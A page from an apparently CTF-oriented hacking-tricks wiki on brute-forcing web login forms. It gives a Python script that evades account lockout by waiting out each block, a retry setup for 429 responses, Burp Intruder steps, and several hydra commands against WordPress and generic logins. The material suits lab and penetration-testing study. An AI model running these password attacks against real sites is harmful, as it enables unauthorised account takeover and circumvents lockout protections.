> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-11/bruteforce/ssh/password-attack-bruteforce-web-login.md).

# Web Login

## Rate-Limited Login Brute-force

When a web login form implements a rate limit or account lockout after a certain number of failed attempts, you can adapt your brute-force strategy. Instead of rapid-fire attempts, try passwords up to the limit, intentionally trigger the lockout, wait for the configured lockout period to expire, and then resume the password list from where you left off.

The following Python script implements this logic for a scenario where the site blocks after 5 failed attempts for 5 minutes (300 seconds). It tries 5 passwords, sends a 6th invalid one (`TRIGGER_BLOCK`) to ensure the block is triggered, waits for 302 seconds, and continues. Note that initial failed attempts might need resetting manually before starting.

```python
import requests
import time

counter = 0
url = "http://<target_ip>/login.php" # Adjust target URL

with open('passwords_list.txt', 'r') as file: # Ensure passwords_list.txt exists
    for line in file:
        if counter == 5 : # Limit is 5 attempts before block
            # Trigger the block with an intentional invalid attempt if needed
            # Or just rely on the next failed attempt below hitting the limit
            # The provided script explicitly sends a triggering payload
            block_data = {'username': 'admin','password': 'TRIGGER_BLOCK'} # Use appropriate parameter names
            r = requests.post(url, data=block_data)

            total_sleep_time = 302 # Wait 5 minutes + buffer
            for remaining_time in range(total_sleep_time, 0, -1):
                print(f"Time left until next attempt: {remaining_time} seconds", end='\r')
                time.sleep(1)
            counter = 0 # Reset counter after waiting

        password = line.strip()
        data = {'username': 'admin','password': f'{password}'} # Use appropriate parameter names
        response = requests.post(url, data=data)

        # Adjust the success/failure check based on response content
        if "The password you entered is not valid." in response.text:
            print(f"[-] admin:{password} ==> Invalid Credentials")
            counter = counter +1
        else:
            print(f"\n\n[+] admin:{password} ==> Valid Credentials!!!\n")
            exit()
```

An alternative approach to handling potential rate limits or transient errors is to configure automatic retries using the `requests` library's built-in capabilities. This can be achieved by using a `requests.Session` object with a custom `HTTPAdapter` that incorporates a `urllib3.util.retry.Retry` strategy.

The `Retry` object allows you to configure how retries should behave. You can specify the total number of retries, which HTTP status codes should trigger a retry (such as `429` for "Too Many Requests"), and which HTTP methods are safe to retry. The `HTTPAdapter` then applies this retry strategy to requests made through the session it is mounted on.

Here is a Python snippet demonstrating how to set up a session that automatically retries on status code 429:

```python
import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

# Configure the retry strategy
retry_strategy = Retry(
    total=3,  # Total number of retries
    status_forcelist=[429, 500, 502, 503, 504],  # Status codes to retry on, including 429
    method_whitelist=["HEAD", "GET", "PUT", "DELETE", "OPTIONS", "TRACE", "POST"] # Include POST for login attempts
)

# Create an HTTP adapter with the retry strategy
adapter = HTTPAdapter(max_retries=retry_strategy)

# Create a session and mount the adapter for both http and https
http = requests.Session()
http.mount("https://", adapter)
http.mount("http://", adapter)

# Now use the 'http' session for making requests
# response = http.post(url, data=data) # Replace requests.post with http.post

# The session will automatically retry POST requests that return a 429 status code
```

This retry mechanism is useful for handling temporary rate limiting responses or server errors, automatically waiting and retrying the request without explicit manual delay loops for each status check. However, for a fixed lockout period strategy as shown in the first script, a deliberate wait after triggering the block might be more appropriate if the lockout duration is known and enforced consistently.

***

## Web Login Brute-Force with Burp Intruder

Intercept the target login request in Burp Suite Proxy and send it to Burp Suite Intruder.

In the Intruder 'Positions' tab, the request is loaded as a template. Burp automatically places payload markers around the parameters in the request. Click 'Clear §' to remove these default selections, and then select the username and password parameter values in the request template and click 'Add §' for each to set these as payload positions.

In the Intruder 'Payloads' tab:

1. Choose the payload set corresponding to the position you want to brute-force (e.g., payload set 1 for username, payload set 2 for password).
2. Load your wordlist from a file.

In the 'Attack type' setting, choose an appropriate option. For example, the 'Sniper' attack type uses a single set of payloads and targets each defined position in turn, inserting each payload into that position while leaving the other positions unchanged. The 'Cluster Bomb' attack type uses multiple payload sets and iterates through each combination of the selected payloads.

Start the attack. Monitor the results in the table, which shows key information for each request including Status code and Length of the response body. Sort the results by Length or Status code to identify successful logins. A successful login will usually result in a different response length or status code (e.g., 302 Found) compared to failed logins.

***

## Wordpress Password Bruteforce via Login Form

Once a valid Wordpress username is known (e.g., found via enumeration), you can attempt to bruteforce the password by sending password guesses to the login form endpoint, typically `/wp-login/`. Tools like `hydra` can automate this. The key is to configure `hydra` to send POST requests with the correct form parameters (like `log` for username and `pwd` for password) and specify a response indicator that signals a successful login, which in Wordpress is often an HTTP 302 redirect (`S=302`).

```bash
hydra -l Elliot -P fsocity.dic 10.10.210.226 http-post-form "/wp-login/:log=^USER^&pwd=^PASS^&wp-submit=Log+In:S=302"
```

The command uses `-l` for the known username, `-P` for the password list, and `http-post-form` to target the web login. The string after `/wp-login/:` defines the POST data fields (`log=^USER^&pwd=^PASS^&wp-submit=Log+In`) and sets the success indicator to look for an HTTP 302 status code (`S=302`).

Another common success indicator for WordPress is looking for the string "Location" in the response header, which is often present during a successful redirect. A command using this approach might look like:

```bash
hydra -l admin -P /path/to/password.txt 192.168.1.10 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:S=Location"
```

To brute force a web login form using hydra, you typically use the `http-post-form` module. You need to identify the target URL, the parameters used for the username and password fields, and a way to detect a successful login or a failed login. A common approach is to specify the form action URL, the POST data string with placeholders for username (`^USER^`) and password (`^PASS^`), and a string or status code that indicates success or failure.

For example, targeting a login form at `/login.php`:

```bash
hydra -l admin -P passwords.txt target.com http-post-form "/login.php:user=^USER^&pass=^PASS^:S=Location"
```

In this command, `-l admin` specifies the username, `-P passwords.txt` is the password list, `target.com` is the host. The string `"/login.php:user=^USER^&pass=^PASS^:S=Location"` tells hydra to send a POST request to `/login.php`, using `user=^USER^&pass=^PASS^` as the POST data, and looking for the string "Location" in the response header (often part of a redirect on success).

Instead of detecting success, you can also configure hydra to detect a *failed* login attempt by specifying a string that appears on the error page using the `F=` option. Additionally, instead of a single username with `-l`, you can provide a list of usernames using `-L`.

```bash
hydra -L users.txt -P passwords.txt target.com http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Login failed"
```

Here, `-L users.txt` provides a list of usernames from a file, `-P passwords.txt` provides the list of passwords. The `F=Login failed` part instructs hydra to look for the string "Login failed" in the response body. If that string is found, the password attempt is considered incorrect. This approach can be useful if a consistent error message is displayed for failed logins.
